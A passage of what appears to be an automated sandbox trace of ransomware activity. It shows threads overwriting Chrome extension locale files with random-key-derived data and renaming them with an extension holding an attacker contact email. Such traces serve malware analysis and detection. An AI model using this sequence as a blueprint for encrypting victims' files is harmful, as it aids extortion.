lpNewFilePointer=0x0) returned 1 [0180.812] WriteFile (in: hFile=0xeb4, lpBuffer=0x12cf6328*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x475fa68, lpOverlapped=0x0 | out: lpBuffer=0x12cf6328*, lpNumberOfBytesWritten=0x475fa68*=0x10b, lpOverlapped=0x0) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6328) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8200) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094d8) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d81d0) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909550) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9092d0) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909438) returned 1 [0182.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909320) returned 1 [0182.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8fe7c8 [0182.139] wcscpy (in: _Dest=0x8fe7c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" [0182.139] wcscat (in: _Dest=0x8fe7c8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0182.139] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x475fa20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0182.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x91b928 Thread: id = 7101 os_tid = 0x14fc [0177.638] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json")) returned 0x2020 [0177.638] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json", dwFileAttributes=0x20) returned 1 [0184.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad0 [0184.142] GetFileSizeEx (in: hFile=0x1ad0, lpFileSize=0x2dcf788 | out: lpFileSize=0x2dcf788*=259) returned 1 [0184.142] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0xff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.142] ReadFile (in: hFile=0x1ad0, lpBuffer=0x2dcf70c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dcf708, lpOverlapped=0x0 | out: lpBuffer=0x2dcf70c*, lpNumberOfBytesRead=0x2dcf708*=0x4, lpOverlapped=0x0) returned 1 [0184.143] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0184.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c10 [0184.143] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5fa8 [0184.143] NtQuerySystemTime (in: CurrentTime=0x2dcf6e8 | out: CurrentTime=0x2dcf6e8*=132174899587438000) returned 0x0 [0184.143] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x3129bd55 [0184.143] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x1f043c31 [0184.143] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x3fea7483 [0184.143] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x11e76e4 [0184.143] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x5491186a [0184.143] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x69c8c0a0 [0184.143] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x45b13f6d [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x2112abd0 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x67682fc3 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x46f451f2 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0xd057a4c [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x1968d9b4 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x3a88a55b [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x15175315 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x5374a9ac [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x2477b97 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x236dce74 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x33d4393 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x62962b48 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x1b7481a0 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x27618c84 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x60ee860e [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x7faf5538 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x72d27920 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x2f3a92ba [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x1c58d77 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0xf388182 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x4a51d285 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x41c7c87e [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x6a8e7c8e [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x67fbc4e9 [0184.144] RtlRandomEx (in: Seed=0x2dcf6f4 | out: Seed=0x2dcf6f4) returned 0x42acb5d9 [0184.155] ReadFile (hFile=0x1ad0, lpBuffer=0x13497940, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x2dcf6e4, lpOverlapped=0x0) [0184.156] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.156] WriteFile (in: hFile=0x1ad0, lpBuffer=0x134a4148*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x2dcf6e0, lpOverlapped=0x0 | out: lpBuffer=0x134a4148*, lpNumberOfBytesWritten=0x2dcf6e0*=0x103, lpOverlapped=0x0) returned 1 [0185.197] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909280 [0185.197] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909a28 [0185.197] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909a28) returned 1 [0185.198] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134a4148) returned 1 [0185.354] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13497940) returned 1 [0185.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf9518) returned 1 [0185.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2db8) returned 1 [0185.361] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8928 [0185.361] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.361] WriteFile (in: hFile=0x1ad0, lpBuffer=0x12cf6788*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2dcf748, lpOverlapped=0x0 | out: lpBuffer=0x12cf6788*, lpNumberOfBytesWritten=0x2dcf748*=0x10b, lpOverlapped=0x0) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6788) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5be8) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909280) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c10) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fd0) returned 1 [0185.381] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b70) returned 1 [0185.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0x8f3eb8 [0185.382] wcscpy (in: _Dest=0x8f3eb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" [0185.382] wcscat (in: _Dest=0x8f3eb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0185.382] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2dcf700, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0185.382] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0x934e28 Thread: id = 7102 os_tid = 0x1500 [0177.639] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0177.639] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json", dwFileAttributes=0x20) returned 1 [0184.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6f0 [0184.095] GetFileSizeEx (in: hFile=0x6f0, lpFileSize=0x2fbfc00 | out: lpFileSize=0x2fbfc00*=259) returned 1 [0184.095] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0xff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.095] ReadFile (in: hFile=0x6f0, lpBuffer=0x2fbfb84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fbfb80, lpOverlapped=0x0 | out: lpBuffer=0x2fbfb84*, lpNumberOfBytesRead=0x2fbfb80*=0x4, lpOverlapped=0x0) returned 1 [0184.096] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0184.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d78 [0184.096] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5da0 [0184.096] NtQuerySystemTime (in: CurrentTime=0x2fbfb60 | out: CurrentTime=0x2fbfb60*=132174899586970000) returned 0x0 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x6964e663 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x36d31aad [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x1cf80dcb [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x4754c71 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x5e3a5b24 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x5d23cdc6 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x7e3490b3 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x3adf55a4 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x44cea090 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x1d4a4d2b [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x705dbb00 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x993f605 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x6ee8e8f2 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x3a301efc [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x6784521 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x3f7412c1 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x785b55df [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x32ebecd7 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x29d231ae [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x15833aea [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x5ac01c2 [0184.096] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x7e438880 [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x481edb60 [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0xea597a9 [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x2cafeb1f [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x2aa275fd [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x5ed90e93 [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x34544aa0 [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x7db74a8a [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x3a5e3788 [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x11cee280 [0184.097] RtlRandomEx (in: Seed=0x2fbfb6c | out: Seed=0x2fbfb6c) returned 0x464652d1 [0184.108] ReadFile (hFile=0x6f0, lpBuffer=0x1344c910, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x2fbfb5c, lpOverlapped=0x0) [0184.108] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.108] WriteFile (in: hFile=0x6f0, lpBuffer=0x13459118*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x2fbfb58, lpOverlapped=0x0 | out: lpBuffer=0x13459118*, lpNumberOfBytesWritten=0x2fbfb58*=0x103, lpOverlapped=0x0) returned 1 [0185.193] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909758 [0185.193] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909780 [0185.193] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909780) returned 1 [0185.193] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13459118) returned 1 [0185.315] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1344c910) returned 1 [0185.315] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf93b0) returned 1 [0185.315] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26f8) returned 1 [0185.315] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88c8 [0185.315] SetFilePointerEx (in: hFile=0x6f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.315] WriteFile (in: hFile=0x6f0, lpBuffer=0x12cf52c0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2fbfbc0, lpOverlapped=0x0 | out: lpBuffer=0x12cf52c0*, lpNumberOfBytesWritten=0x2fbfbc0*=0x10b, lpOverlapped=0x0) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf52c0) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af460) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909758) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d78) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5dc8) returned 1 [0185.331] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5df0) returned 1 [0185.331] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x182) returned 0x8f3eb8 [0185.331] wcscpy (in: _Dest=0x8f3eb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" [0185.331] wcscat (in: _Dest=0x8f3eb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0185.331] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2fbfb78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0185.331] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x198) returned 0x929730 Thread: id = 7103 os_tid = 0xffc [0177.639] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json")) returned 0x2020 [0177.640] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json", dwFileAttributes=0x20) returned 1 [0179.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2d0 [0179.474] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x454fb04 | out: lpFileSize=0x454fb04*=251) returned 1 [0179.474] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0xf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.474] ReadFile (in: hFile=0x2d0, lpBuffer=0x454fa88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x454fa84, lpOverlapped=0x0 | out: lpBuffer=0x454fa88*, lpNumberOfBytesRead=0x454fa84*=0x4, lpOverlapped=0x0) returned 1 [0179.475] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.475] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095c8 [0179.475] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909348 [0179.475] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909640 [0179.475] NtQuerySystemTime (in: CurrentTime=0x454fa64 | out: 